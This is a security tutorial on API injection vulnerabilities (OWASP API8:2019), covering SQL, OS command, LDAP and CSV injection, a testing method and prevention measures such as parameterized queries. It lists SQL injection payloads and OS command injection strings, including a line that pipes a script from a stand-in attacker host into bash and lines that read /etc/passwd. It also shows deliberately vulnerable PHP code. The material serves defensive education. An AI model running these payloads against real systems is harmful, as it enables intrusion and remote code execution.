🛡️ OWASP API Security: Injection Attacks (API8:2019)

Welcome Amazing Hackers! This comprehensive guide covers API injection vulnerabilities, one of the most critical security risks in modern web applications.

📋 Overview of Injection Attacks

Injection vulnerabilities represent a critical security risk in API security. These attacks can manifest in various forms and can have devastating consequences if left unaddressed. The key concern is that API endpoints often fail to properly sanitize user input, creating opportunities for malicious actors to exploit the system.

Types of Injection Attacks

💉 SQL Injection

Manipulating database queries through malicious SQL code

🖥️ OS Command Injection

Executing arbitrary operating system commands

📁 LDAP Injection

Exploiting LDAP queries for unauthorized access

📊 CSV Injection

Injecting malicious formulas in exported files

⚠️ Important: Don't be fooled! Injection attacks don't only come from data you directly control. They can occur through:

🎯 Attack Vectors and Entry Points

1. Direct Input Manipulation

The most common attack vector involves manipulating user-controlled input fields in API requests. Every input field should be considered a potential injection point.

Data Flow Attack Surface

User Input
Frontend Validation
API Gateway
Backend Processing
Database

Each step is a potential injection point!

2. File Import Vulnerabilities

File imports, particularly CSV files, represent a significant attack surface. Developers often implement import functionality after the initial system build, potentially overlooking proper validation.

🔬 SQL Injection Attack Scenarios

Example 1: CSV-Based SQL Injection

Testing for SQL injection vulnerabilities using single quote characters:

name,address,email,phone
',',',',

If this triggers a SQL error, the system is vulnerable. You can then escalate to:

' OR 1=1 --
'; SELECT * FROM users --
⚠️ Critical Risk: Successful SQL injection can result in:

Example 2: Advanced SQL Injection

Using SQL commands to extract entire database tables:

-- Basic SQL Injection Test ' OR '1'='1 -- Union-based injection ' UNION SELECT NULL, username, password FROM users -- -- Time-based blind injection ' AND SLEEP(5) -- -- Boolean-based blind injection ' AND (SELECT COUNT(*) FROM users) > 0 --

💻 OS Command Injection

Understanding Command Injection

OS Command Injection is often less obvious but equally dangerous. It occurs when user input is passed to system shell commands without proper sanitization.

Command Separators and Injection Techniques

Platform Command Separator Example
Unix/Linux ; && || | filename.txt; cat /etc/passwd
Windows & && || | filename.txt & dir C:\
Cross-Platform ` $() file`whoami`.txt

OS Command Injection Examples

; ls -la
& dir C:\Windows\System32
| cat /etc/passwd
&& whoami
|| ping -c 4 attacker.com
$(curl http://attacker.com/malware.sh | bash)
Testing Strategy: Test all suspected parameters with OS command separators for:

🛠️ Testing Methodology

Step-by-Step Testing Process

  1. Identify all API endpoints - Map every endpoint in your application
  2. Locate input parameters - Find all user-controllable data points
  3. Test with injection payloads - Use SQL, OS command, and other injection techniques
  4. Analyze responses - Look for error messages or unexpected behavior
  5. Escalate successful tests - Determine the full impact of vulnerabilities
  6. Document findings - Record all vulnerabilities with proof of concept

Hidden Parameter Discovery

Find hidden and legacy parameters using:

Google Dorking: site:target.com inurl:api
Wayback Machine: Check historical API endpoints
API Documentation: Review old versions for deprecated parameters
Parameter Fuzzing: Test common parameter names

🔒 Prevention Measures for Developers

1. Input Validation and Sanitization

Golden Rule: Treat every input as compromised until proven otherwise!

Implement comprehensive validation:

2. Use Parameterized Queries

Always use prepared statements or parameterized queries for database operations:

// ❌ VULNERABLE CODE (PHP) $query = "SELECT * FROM users WHERE id = " . $_GET['id']; $result = mysqli_query($conn, $query); // ✅ SECURE CODE (PHP) $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $_GET['id']); $stmt->execute();

3. Vulnerable vs. Secure Code Example

// ❌ VULNERABLE PHP CODE - NO SANITIZATION <?php $row = $_POST['row']; $description = $_POST['description']; $date = $_POST['date']; $title = $_POST['title']; echo $row; echo $description; echo $date; echo $title; ?> // ✅ SECURE PHP CODE - WITH SANITIZATION <?php $row = htmlspecialchars($_POST['row'], ENT_QUOTES, 'UTF-8'); $description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8'); $date = htmlspecialchars($_POST['date'], ENT_QUOTES, 'UTF-8'); $title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8'); echo $row; echo $description; echo $date; echo $title; ?>

4. Centralized Validation System

Create a reusable validation system that can be imported across all endpoints:

Best Practice: Build one centralized validation system for: This ensures consistency and allows for easy updates across your entire API.

5. Use Well-Known Security Libraries

Don't reinvent the wheel! Use proven security libraries:

6. Implement Query Limits

Always limit the number of records returned to prevent resource exhaustion:

SELECT * FROM users LIMIT 100;
SELECT * FROM products WHERE category='electronics' LIMIT 50;

7. API Specification and Firewall

Use API specifications like OpenAPI (Swagger) to define your API contract and implement an API firewall on top of it.

OpenAPI Benefits:

🔍 Complete Security Checklist

Security Measure Priority Implementation
Input Validation CRITICAL Validate all user input on both frontend and backend
Parameterized Queries CRITICAL Use prepared statements for all database operations
Output Encoding HIGH Encode output using htmlspecialchars() or equivalent
File Import Validation HIGH Strictly validate imported files (CSV, XML, JSON)
API Rate Limiting MEDIUM Implement rate limiting to prevent abuse
Query Result Limits MEDIUM Always limit the number of records returned
Security Headers MEDIUM Implement proper security headers (CSP, X-Frame-Options)
API Firewall RECOMMENDED Deploy API gateway with firewall capabilities

🎓 Key Takeaways and Conclusions

Injection Attack Prevention Framework

Identify
Input Points
Validate
& Sanitize
Use Prepared
Statements
Limit
Queries
Monitor
& Log

⚠️ Critical Points to Remember:

Testing Tools and Resources

Additional Resources

Further Learning:

✅ Final Recommendations:

  1. Implement defense in depth - multiple layers of security
  2. Never trust user input - validate everything
  3. Use established security libraries - don't roll your own
  4. Keep security documentation updated
  5. Perform regular security audits
  6. Stay informed about new injection techniques
  7. Train your development team on secure coding practices